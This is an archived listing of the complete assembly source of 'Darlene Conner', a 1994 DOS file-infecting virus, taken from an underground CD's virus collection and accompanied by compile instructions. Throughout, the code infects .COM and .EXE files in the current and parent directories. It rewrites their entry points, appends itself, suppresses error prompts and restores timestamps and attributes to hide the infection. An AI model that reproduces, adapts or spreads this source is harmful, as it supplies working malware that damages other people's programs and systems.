home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / d / darlene.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  12.8 KB  |  318 lines

  1. ;  Darlene Conner written by MuTaTiON INTERRUPT
  2.  
  3. ;  To compile this use TASM /M darlene.asm
  4.  
  5.  
  6.  
  7.  
  8.  
  9. code    segment public 'code'
  10.  
  11.         assume  cs:code
  12.  
  13.         org     100h                              ; All .COM files start here
  14.  
  15.  
  16.  
  17. ID = 'AB'                                         ; Id for infected files
  18.  
  19.  
  20.  
  21. start:
  22.  
  23.         db 0e9h,0,0                               ; Jump to the next command
  24.  
  25.  
  26.  
  27. virus:
  28.  
  29.         call    realcode                          ; Push current location on stack
  30.  
  31. realcode:
  32.  
  33.         nop
  34.  
  35.         nop
  36.  
  37.         pop     bp                                ; Get location off stack
  38.  
  39.         sub     bp,offset realcode                ; Adjust it for our pointer
  40.  
  41.         nop
  42.  
  43.         nop
  44.  
  45.         cmp     sp,id                             ; COM or EXE?
  46.  
  47.         je      restoreEXE
  48.  
  49.  
  50.  
  51.         lea     si,[bp+offset oldjump]            ; Location of old jump in si
  52.  
  53.         mov     di,100h                           ; Location of where to put it in di
  54.  
  55.         push    di                                ; Save so we could just return when done
  56.  
  57.         movsb                                     ; Move a byte
  58.  
  59.         movsw                                     ; Move a word
  60.  
  61.         jmp     exitrestore
  62.  
  63.  
  64.  
  65. restoreEXE:
  66.  
  67.         push    ds                                ; Save ExE ds
  68.  
  69.         push    es                                ; Save ExE es
  70.  
  71.         push    cs
  72.  
  73.         pop     ds                                ; DS now equals CS
  74.  
  75.         push    cs
  76.  
  77.         pop     es                                ; ES now equals CS
  78.  
  79.         lea     si,[bp+jmpsave2]
  80.  
  81.         lea     di,[bp+jmpsave]
  82.  
  83.         movsw                                     ; Move a word
  84.  
  85.         movsw                                     ; Move a word
  86.  
  87.         movsw                                     ; Move a word
  88.  
  89.         movsw                                     ; Move a word
  90.  
  91.  
  92.  
  93. ExitRestore:
  94.  
  95.         lea     dx,[bp+offset dta]                ; Where to put New DTA
  96.  
  97.         call    set_DTA                           ; Move it
  98.  
  99.  
  100.  
  101.         mov     ax,3524h                          ; Get int 24 handler
  102.  
  103.         int     21h                               ; To ES:BX
  104.  
  105.         mov     word ptr [bp+oldint24],bx         ; Save it
  106.  
  107.         mov     word ptr [bp+oldint24+2],es
  108.  
  109.  
  110.  
  111.         mov     ah,25h                            ; Set new int 24 handler
  112.  
  113.         lea     dx,[bp+offset int24]              ; DS:DX->new handler
  114.  
  115.         int     21h
  116.  
  117.  
  118.  
  119.         push    cs                                ; Restore ES
  120.  
  121.         pop     es                                ; 'cuz it was changed
  122.  
  123.  
  124.  
  125.         mov     ah,47h                            ; Get the current directory
  126.  
  127.         mov     dl,0h                             ; On current drive
  128.  
  129.         lea     si,[bp+offset currentdir]         ; Where to keep it
  130.  
  131.         int     21h
  132.  
  133.  
  134.  
  135. dirloop:
  136.  
  137.         lea     dx,[bp+offset exefilespec]
  138.  
  139.         call    findfirst
  140.  
  141.         lea     dx,[bp+offset comfilespec]
  142.  
  143.         call    findfirst
  144.  
  145.  
  146.  
  147.         lea     dx,[bp+offset directory]          ; Where to change too '..'
  148.  
  149.         mov     ah,3bh                            ; Change directory
  150.  
  151.         int     21h
  152.  
  153.         jnc     dirloop                           ; If no problems the look for files
  154.  
  155.  
  156.  
  157.         mov     ah,9                              ; Display string
  158.  
  159.         lea     dx,[bp+virusname]
  160.  
  161.         int     21h
  162.  
  163.  
  164.  
  165.         mov     ax,2524h                          ; Restore int 24 handler
  166.  
  167.         lds     dx,[bp+offset oldint24]           ; To original
  168.  
  169.         int     21h
  170.  
  171.  
  172.  
  173.         push    cs
  174.  
  175.         pop     ds                                ; Do this because the DS gets changed
  176.  
  177.  
  178.  
  179.         lea     dx,[bp+offset currentdir]         ; Location Of original dir
  180.  
  181.         mov     ah,3bh                            ; Change to there
  182.  
  183.         int     21h
  184.  
  185.  
  186.  
  187.         mov     dx,80h                            ; Location of original DTA
  188.  
  189.         call    set_dta                           ; Put it back there
  190.  
  191.  
  192.  
  193.         cmp     sp,id-4                           ; EXE or COM?
  194.  
  195.         jz      returnEXE
  196.  
  197.  
  198.  
  199.         retn                                      ; Return to 100h to original jump
  200.  
  201.  
  202.  
  203. ReturnEXE:
  204.  
  205.         pop     es                                ; Get original ES
  206.  
  207.         pop     ds                                ; Get original DS
  208.  
  209.  
  210.  
  211.         mov     ax,es
  212.  
  213.         add     ax,10h
  214.  
  215.         add     word ptr cs:[bp+jmpsave+2],ax
  216.  
  217.         add     ax,word ptr cs:[bp+stacksave+2]
  218.  
  219.         cli                                       ; Clear int's because of stack manipulation
  220.  
  221.         mov     sp,word ptr cs:[bp+stacksave]
  222.  
  223.         mov     ss,ax
  224.  
  225.         sti
  226.  
  227.         db      0eah                              ; Jump ssss:oooo
  228.  
  229. jmpsave dd      ?                                 ; Jump location
  230.  
  231. stacksave dd    ?                                 ; Original cs:ip
  232.  
  233. jmpsave2 dd     0fff00000h                        ; Used with carrier file
  234.  
  235. stacksave2 dd   ?
  236.  
  237.  
  238.  
  239. findfirst:
  240.  
  241.         mov     ah,4eh                            ; Find first file
  242.  
  243.         mov     cx,7                              ; Find all attributes
  244.  
  245.  
  246.  
  247. findnext:
  248.  
  249.         int     21h                               ; Find first/next file int
  250.  
  251.         jc      quit                              ; If none found then change dir
  252.  
  253.  
  254.  
  255.         call    infection                         ; Infect that file
  256.  
  257.  
  258.  
  259. Findnext2:
  260.  
  261.         mov     ah,4fh                            ; Find next file
  262.  
  263.         jmp     findnext                          ; Jump to the loop
  264.  
  265.  
  266.  
  267. quit:
  268.  
  269.         ret
  270.  
  271.  
  272.  
  273. infection:
  274.  
  275.         mov     ax,3d00h                          ; Open file for read only
  276.  
  277.         call    open
  278.  
  279.  
  280.  
  281.         mov     ah,3fh                            ; Read from file
  282.  
  283.         mov     cx,1ah
  284.  
  285.         lea     dx,[bp+offset buffer]             ; Location to store them
  286.  
  287.         int     21h
  288.  
  289.  
  290.  
  291.         mov     ah,3eh                            ; Close file
  292.  
  293.         int     21h
  294.  
  295.  
  296.  
  297.         cmp     word ptr [bp+buffer],'ZM'         ; EXE?
  298.  
  299.         jz      checkEXE                          ; Why yes, yes it is!
  300.  
  301.         mov     ax,word ptr [bp+DTA+35]           ; Get end of file name in ax
  302.  
  303.         cmp     ax,'DN'                           ; Does End in comma'ND'? (reverse order)
  304.  
  305.         jz      quitinfect                        ; Yup so get another file
  306.  
  307.  
  308.  
  309. CheckCom:
  310.  
  311.         mov     bx,[bp+offset dta+1ah]            ; Get file size
  312.  
  313.         mov     cx,word ptr [bp+buffer+1]         ; Get jump loc of file
  314.  
  315.         add     cx,eof-virus+3                    ; Add for virus size
  316.  
  317.  
  318.  
  319.         cmp     bx,cx                             ; Does file size=file jump+virus size
  320.  
  321.         jz      quitinfect                        ; Yup then get another file
  322.  
  323.         jmp     infectcom
  324.  
  325.  
  326.  
  327. CheckExe:
  328.  
  329.         cmp     word ptr [bp+buffer+10h],id       ; Check EXE for infection
  330.  
  331.         jz      quitinfect                        ; Already infected so close up
  332.  
  333.         jmp     infectexe
  334.  
  335.  
  336.  
  337. quitinfect:
  338.  
  339.         ret
  340.  
  341.  
  342.  
  343. InfectCom:
  344.  
  345.         sub     bx,3                              ; Adjust for new jump
  346.  
  347.         lea     si,[bp+buffer]
  348.  
  349.         lea     di,[bp+oldjump]
  350.  
  351.         movsw
  352.  
  353.         movsb
  354.  
  355.         mov     [bp+buffer],byte ptr 0e9h
  356.  
  357.         mov     word ptr [bp+buffer+1],bx         ; Save for later
  358.  
  359.  
  360.  
  361.         mov     cx,3                              ; Number of bytes to write
  362.  
  363.  
  364.  
  365.         jmp     finishinfection
  366.  
  367. InfectExe:
  368.  
  369.         les     ax,dword ptr [bp+buffer+14h]      ; Load es with seg address
  370.  
  371.         mov     word ptr [bp+jmpsave2],ax         ; save old cs:ip
  372.  
  373.         mov     word ptr [bp+jmpsave2+2],es
  374.  
  375.  
  376.  
  377.         les     ax,dword ptr [bp+buffer+0eh]      ; save old ss:sp
  378.  
  379.         mov     word ptr [bp+stacksave2],es       ; save old cs:ip
  380.  
  381.         mov     word ptr [bp+stacksave2+2],ax
  382.  
  383.  
  384.  
  385.         mov     ax, word ptr [bp+buffer+8]        ; get header size
  386.  
  387.         mov     cl,4
  388.  
  389.         shl     ax,cl
  390.  
  391.         xchg    ax,bx
  392.  
  393.         les     ax,[bp+offset DTA+26]             ; get files size from dta
  394.  
  395.         mov     dx,es                             ; its now in dx:ax
  396.  
  397.         push    ax                                ; save these
  398.  
  399.         push    dx
  400.  
  401.  
  402.  
  403.         sub     ax,bx                             ; subtract header size from fsize
  404.  
  405.         sbb     dx,0                              ; subtract the carry too
  406.  
  407.         mov     cx,10h                            ; convert to segment:offset form
  408.  
  409.         div     cx
  410.  
  411.  
  412.  
  413.         mov     word ptr [bp+buffer+14h],dx       ; put in new header
  414.  
  415.         mov     word ptr [bp+buffer+16h],ax       ; cs:ip
  416.  
  417.  
  418.  
  419.         mov     word ptr [bp+buffer+0eh],ax       ; ss:sp
  420.  
  421.         mov     word ptr [bp+buffer+10h],id       ; put id in for later
  422.  
  423.         pop     dx                                ; get the file length back
  424.  
  425.         pop     ax
  426.  
  427.  
  428.  
  429.         add     ax,eof-virus                      ; add virus size
  430.  
  431.         adc     dx,0                              ; add with carry
  432.  
  433.  
  434.  
  435.         mov     cl,9                              ; calculates new file size
  436.  
  437.         push    ax
  438.  
  439.         shr     ax,cl
  440.  
  441.         ror     dx,cl
  442.  
  443.         stc
  444.  
  445.         adc     dx,ax
  446.  
  447.         pop     ax
  448.  
  449.         and     ah,1
  450.  
  451.  
  452.  
  453.         mov     word ptr [bp+buffer+4],dx         ; save new file size in header
  454.  
  455.         mov     word ptr [bp+buffer+2],ax
  456.  
  457.  
  458.  
  459.         push    cs                                ; es = cs
  460.  
  461.         pop     es
  462.  
  463.  
  464.  
  465.         mov     cx,1ah                            ; Number of bytes to write (Header)
  466.  
  467. FinishInfection:
  468.  
  469.         push    cx                                ; save # of bytes to write
  470.  
  471.         xor     cx,cx                             ; Set attriutes to none
  472.  
  473.         call    attributes
  474.  
  475.  
  476.  
  477.         mov     al,2                              ; open file read/write
  478.  
  479.         call    open
  480.  
  481.  
  482.  
  483.         mov     ah,40h                            ; Write to file
  484.  
  485.         lea     dx,[bp+buffer]                    ; Location of bytes
  486.  
  487.         pop     cx                                ; Get number of bytes to write
  488.  
  489.         int     21h
  490.  
  491.         jc      closefile
  492.  
  493.  
  494.  
  495.         mov     al,02                             ; Move Fpointer to eof
  496.  
  497.         Call    move_fp
  498.  
  499.  
  500.  
  501.         mov     ah,40h                            ; Write virus to file
  502.  
  503.         mov     cx,eof-virus                      ; Size of virus
  504.  
  505.         lea     dx,[bp+offset virus]              ; Location to start from
  506.  
  507.         int     21h
  508.  
  509.  
  510.  
  511. closefile:
  512.  
  513.         mov     ax,5701h                          ; Set files date/time back
  514.  
  515.         mov     cx,word ptr [bp+dta+16h]          ; Get old time from dta
  516.  
  517.         mov     dx,word ptr [bp+dta+18h]          ; Get old date
  518.  
  519.         int     21h
  520.  
  521.  
  522.  
  523.         mov     ah,3eh                            ; Close file
  524.  
  525.         int     21h
  526.  
  527.  
  528.  
  529.         xor     cx,cx
  530.  
  531.         mov     cl,byte ptr [bp+dta+15h]          ; Get old Attributes
  532.  
  533.         call    attributes
  534.  
  535.  
  536.  
  537.         retn
  538.  
  539.  
  540.  
  541. move_fp:
  542.  
  543.         mov     ah,42h                            ; Move file pointer
  544.  
  545.         xor     cx,cx                             ; Al has location
  546.  
  547.         xor     dx,dx                             ; Clear these
  548.  
  549.         int     21h
  550.  
  551.         retn
  552.  
  553.  
  554.  
  555. set_dta:
  556.  
  557.         mov     ah,1ah                            ; Move the DTA location
  558.  
  559.         int     21h
  560.  
  561.         retn
  562.  
  563.  
  564.  
  565. open:
  566.  
  567.         mov     ah,3dh                            ; open file
  568.  
  569.         lea     dx,[bp+DTA+30]                    ; filename in DTA
  570.  
  571.         int     21h
  572.  
  573.         xchg    ax,bx                             ; file handle in bx
  574.  
  575.         ret
  576.  
  577.  
  578.  
  579. attributes:
  580.  
  581.         mov     ax,4301h                          ; Set attributes to cx
  582.  
  583.         lea     dx,[bp+DTA+30]                    ; filename in DTA
  584.  
  585.         int     21h
  586.  
  587.         ret
  588.  
  589. int24:                                            ; New int 24h (error) handler
  590.  
  591.         mov     al,3                              ; Fail call
  592.  
  593.         iret                                      ; Return from int 24 call
  594.  
  595.  
  596.  
  597. Virusname db 'Darlene Conner - Basketball Anyone?',10,13               ; Name Of The Virus
  598.  
  599. Author    db 'MuTaTiON INTERRUPT',10,13           ; Author Of This Virus
  600.  
  601. Made_with db '[NOVEMBER 1994]',10,13,'$'          ; Please do not remove this
  602.  
  603.  
  604.  
  605. comfilespec  db  '*.com',0                        ; Holds type of file to look for
  606.  
  607. exefilespec  db  '*.exe',0                        ; Holds type of file to look for
  608.  
  609. directory    db '..',0                            ; Directory to change to
  610.  
  611. oldjump      db  0cdh,020h,0h                     ; Old jump.  Is int 20h for file quit
  612.  
  613.  
  614.  
  615. eof     equ     $                                 ; Marks the end of file
  616.  
  617.  
  618.  
  619. currentdir db   64 dup (?)                        ; Holds the current dir
  620.  
  621. dta     db      42 dup (?)                        ; Location of new DTA
  622.  
  623. buffer db 1ah dup (?)                             ; Holds exe header
  624.  
  625. oldint24 dd ?                                     ; Storage for old int 24h handler
  626.  
  627.  
  628.  
  629. code    ends
  630.  
  631.         end     start
  632.  
  633.  
  634.  
  635.